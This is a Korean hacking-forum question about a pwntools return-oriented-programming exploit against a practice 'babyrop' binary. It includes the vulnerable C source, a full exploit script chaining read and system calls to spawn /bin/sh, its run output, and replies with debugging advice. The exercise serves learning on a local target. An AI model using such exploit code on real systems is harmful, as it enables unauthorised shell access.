시스템 해킹

 1576, 1/79 회원가입  로그인  
   tkakr7458
   pwntools 를 이용한 익스 질문

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1859 [복사]


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

위는 소스 코드입니다.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)


binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

위와 같이 작성했습니다.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

이렇게 성공을 못했는데 왜 이러나요 ㅠㅠ 가젯은 똑바로 찾았습니다.!!

  Hit : 8671     Date : 2017/04/16 06:06



    
해쿨러 buf가 ebp-0x8c에 있으니 0x8c+4 해서 144바이트만큼 맨처음에 A를 넣으셔야 합니다 140개밖에 안넣으셔서 안되는겁니다 2017/04/16  
tkakr7458 144 넣었어요.. 2017/04/16  
해쿨러 아 제가 잘못봤군요 그러면 s.send(payload)와 s.send(binsh) 사이에 time.sleep(0.5)를 넣어보세요
저렇게 짧은 시간차로 주면 버퍼는 큰데 작은 문자열 두개가 오니까 둘다 buf에 들어갈 수 있습니다
2017/04/16  
tkakr7458 잘 안되네요 ㅠ 2017/04/16  
해쿨러 strace를 써보세요 엄청 좋습니다
remote() 바로 다음에 pause() 한줄 넣으시고 파이썬 실행하시면 멈춰있는데
그 때 서버에서 strace -if -p $(pgrep babyrop) 하시면 어태치 되고 파이썬에서 엔터 한번 치셔서 보시면 됩니다
2017/04/16  
parktong80 혹시 babyrop 바이너리 보내주실수 있으신가요?
parktong80@naver.com 입니다
2017/05/03